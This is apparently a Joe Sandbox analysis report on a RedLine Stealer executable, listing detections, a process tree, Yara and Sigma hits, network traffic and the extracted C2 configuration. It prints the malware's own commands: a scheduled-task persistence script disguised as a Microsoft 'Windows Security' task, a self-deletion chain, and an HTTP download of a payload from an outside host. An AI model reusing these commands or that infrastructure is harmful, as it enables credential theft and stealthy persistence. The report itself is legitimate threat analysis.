Edit tour

Windows Analysis Report
18561381.exe

Overview

General Information

Sample Name:	18561381.exe
Analysis ID:	591720
MD5:	68e9a902193c06e8f3289cd54fdac054
SHA1:	1998a855c46aac49ee9974e0f6277f2fffd396e5
SHA256:	0f0807cdcb400a718656d3ec845ad57ffef9e25232d50044bb8d7a5d9d2a0a98
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Sigma detected: Suspicious Script Execution From Temp Folder

Query firmware table information (likely to detect VMs)

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: WScript or CScript Dropper

Hides that the sample has been downloaded from the Internet (zone.identifier)

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Tries to steal Crypto Currency Wallets

Command shell drops VBS files

Changes security center settings (notifications, updates, antivirus, firewall)

Obfuscated command line found

PE file has nameless sections

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Suspicious Del in CommandLine

JA3 SSL client fingerprint seen in connection with other malware

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Abnormal high CPU Usage

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Sigma detected: Cscript Visual Basic Script Execution

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Creates COM task schedule object (often to register a task for autostart)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Yara detected Credential Stealer

IP address seen in connection with other malware

Enables debug privileges

Is looking for software installed on the system

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Detected TCP or UDP traffic on non-standard ports

Uses taskkill to terminate processes

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

18561381.exe (PID: 6608 cmdline: "C:\Users\user\Desktop\18561381.exe" MD5: 68E9A902193C06E8F3289CD54FDAC054)

build.exe (PID: 2856 cmdline: "C:\Users\user\AppData\Local\Temp\build.exe" MD5: D1DB0A92A4C72B887CC16A32E9D285A8)

cmd.exe (PID: 5612 cmdline: C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

Windows Security.exe (PID: 4312 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe MD5: D1DB0A92A4C72B887CC16A32E9D285A8)

cmd.exe (PID: 6780 cmdline: "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cscript.exe (PID: 2212 cmdline: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs MD5: 956185CAF895737F30E8EE24DEFCE8E6)

cmd.exe (PID: 2368 cmdline: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6156 cmdline: taskkill /F /PID 2856 MD5: 530C6A6CBA137EAA7021CEF9B234E8D4)

powershell.exe (PID: 4880 cmdline: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" MD5: 95000560239032BC68B4C2FDFCDEF913)

timeout.exe (PID: 5340 cmdline: timeout 3 MD5: EB9A65078396FB5D4E3813BB9198CB18)

svchost.exe (PID: 7108 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7156 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 2084 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 5524 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 4816 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 5532 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5528 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 4972 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6152 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6924 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 1972 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4504 cmdline: C:\Windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

Windows Security.exe (PID: 4336 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe MD5: D1DB0A92A4C72B887CC16A32E9D285A8)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["65.108.82.103:15914"], "Bot Id": "@JABKA9983", "Authorization Header": "3da459a4f4fcd6fe99288a78b3680c31"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
18561381.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18561381.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c58:$pat14: , CommandLine: 0x1492f:$v2_1: ListOfProcesses 0x146ef:$v4_3: base64str 0x15460:$v4_4: stringKey 0x12e2a:$v4_5: BytesToStringConverted 0x118bf:$v4_6: FromBase64 0x1337d:$v4_8: procName

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.234542806.00000000000F2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.401749715.00000000000F2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.404613044.00000000025B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 18561381.exe PID: 6608	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 18561381.exe PID: 6608	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.18561381.exe.f0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.18561381.exe.f0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c58:$pat14: , CommandLine: 0x1492f:$v2_1: ListOfProcesses 0x146ef:$v4_3: base64str 0x15460:$v4_4: stringKey 0x12e2a:$v4_5: BytesToStringConverted 0x118bf:$v4_6: FromBase64 0x1337d:$v4_8: procName
0.2.18561381.exe.f0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.18561381.exe.f0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c58:$pat14: , CommandLine: 0x1492f:$v2_1: ListOfProcesses 0x146ef:$v4_3: base64str 0x15460:$v4_4: stringKey 0x12e2a:$v4_5: BytesToStringConverted 0x118bf:$v4_6: FromBase64 0x1337d:$v4_8: procName

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , CommandLine: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2368, ProcessCommandLine: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , ProcessId: 4880

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community: Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , ProcessId: 2212

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\build.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\build.exe, ParentProcessId: 2856, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit, ProcessId: 2368

Source: Process started

Author: frack113: Data: Command: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , CommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , CommandLine|base64offset|contains: r+, Image: C:\Windows\System32\cscript.exe, NewProcessName: C:\Windows\System32\cscript.exe, OriginalFileName: C:\Windows\System32\cscript.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c @echo off & echo const TriggerTypeLogon=9 : const ActionTypeExecutable=0 : const TASK_LOGON_INTERACTIVE_TOKEN=3 : const createOrUpdateTask=6 : Set service=CreateObject("Schedule.Service") : call service.Connect() : Dim rootFolder : Set rootFolder=service.GetFolder("") : Dim taskDefinition : Set taskDefinition=service.NewTask(0) : Dim regInfo : Set regInfo=taskDefinition.RegistrationInfo : regInfo.Author="Microsoft Corporation" : regInfo.Description="Windows Security is a software application that safeguards a system from malware. It was an anti-spyware program built to fight unauthorized access and protect Windows computers from unwanted software." : Dim settings : Set settings=taskDefinition.Settings : settings.StartWhenAvailable=True : settings.ExecutionTimeLimit="PT0S" : settings.AllowHardTerminate=False : settings.IdleSettings.StopOnIdleEnd=False : settings.DisallowStartIfOnBatteries=False : settings.StopIfGoingOnBatteries=False : Dim triggers : Set triggers=taskDefinition.Triggers : Dim trigger : Set trigger=triggers.Create(TriggerTypeLogon) : userId=CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") : trigger.Id="LogonTriggerId" : trigger.UserId=userId : Dim Action : Set Action=taskDefinition.Actions.Create(ActionTypeExecutable) : Action.Path="C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe" : taskDefinition.Principal.UserId=userId : taskDefinition.Principal.LogonType=TASK_LOGON_INTERACTIVE_TOKEN : call rootFolder.RegisterTaskDefinition("Windows Security", taskDefinition, createOrUpdateTask, Empty, Empty, TASK_LOGON_INTERACTIVE_TOKEN) > C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs & del C:\Users\user\AppData\Local\Temp\tmpBD82.vbs /f /q & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6780, ProcessCommandLine: cscript //nologo C:\Users\user\AppData\Local\Temp\tmpBD82.vbs , ProcessId: 2212

Source: Process started

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\18561381.exe, ProcessId: 6608, TargetFilename: C:\Users\user\AppData\Local\Temp\build.exe

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , CommandLine: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c taskkill /F /PID 2856 & powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" & timeout 3 > nul & del /F /S /Q /A "C:\Users\user\AppData\Local\Temp\build.exe" & exit, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2368, ProcessCommandLine: powershell -command "$ErrorActionPreference= 'silentlycontinue'; (Get-WmiObject Win32_Process | Where-Object { $_.Path.StartsWith('C:\Users\user\AppData\Local\Temp\build.exe') }).Terminate()" , ProcessId: 4880

Source: Process started

Author: frack113: Data: Command: "C:\Users\user\AppData\Local\Temp\build.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\build.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\build.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\build.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\build.exe, ParentCommandLine: "C:\Users\user\Desktop\18561381.exe" , ParentImage: C:\Users\user\Desktop\18561381.exe, ParentProcessId: 6608, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\build.exe" , ProcessId: 2856

Source: Process started

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132920856609737092.4880.DefaultAppDomain.powershell

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.18561381.exe.f0000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["65.108.82.103:15914"], "Bot Id": "@JABKA9983", "Authorization Header": "3da459a4f4fcd6fe99288a78b3680c31"}

Multi AV Scanner detection for submitted file

Source: 18561381.exe	Virustotal: Detection: 57%			Perma Link
Source: 18561381.exe	ReversingLabs: Detection: 76%

Antivirus / Scanner detection for submitted sample

Source: 18561381.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\build.exe	Metadefender: Detection: 20%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\build.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Metadefender: Detection: 20%	Perma Link
Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	ReversingLabs: Detection: 81%

Machine Learning detection for sample

Source: 18561381.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft\Security\Windows Security.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\build.exe	Joe Sandbox ML: detected

Source: 18561381.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown

HTTPS traffic detected: 162.159.128.233:443 -> 192.168.2.3:49773 version: TLS 1.2

Source: 18561381.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\System32\cscript.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: global traffic	HTTP traffic detected: GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1Host: discord.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /channels/948610961449816084/948610961449816086/948611091527774228 HTTP/1.1Host: discord.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /build.exe HTTP/1.1Host: f0645594.xsph.ruConnection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Fri, 18 Mar 2022 06:00:37 GMTContent-Type: application/octet-streamContent-Length: 233472Last-Modified: Sat, 12 Mar 2022 23:10:19 GMTConnection: keep-aliveETag: "622d285b-39000"Expires: Fri, 25 Mar 2022 06:00:37 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 1e 28 2d 62 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 58 02 00 00 34 01 00 00 00 00 00 0a e0 03 00 00 60 01 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 c4 67 01 00 57 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 08 00 00 00 00 00 00 00 00 00 00 00 00 60 01 00 48 00 00 00 00 00 00 00 00 00 00 00 58 31 28 75 3b 73 42 32 44 30 01 00 00 20 00 00 00 32 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 b8 54 02 00 00 60 01 00 00 56 02 00 00 36 01 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 03 00 00 02 00 00 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 e0 03 00 00 02 00 00 00 8e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 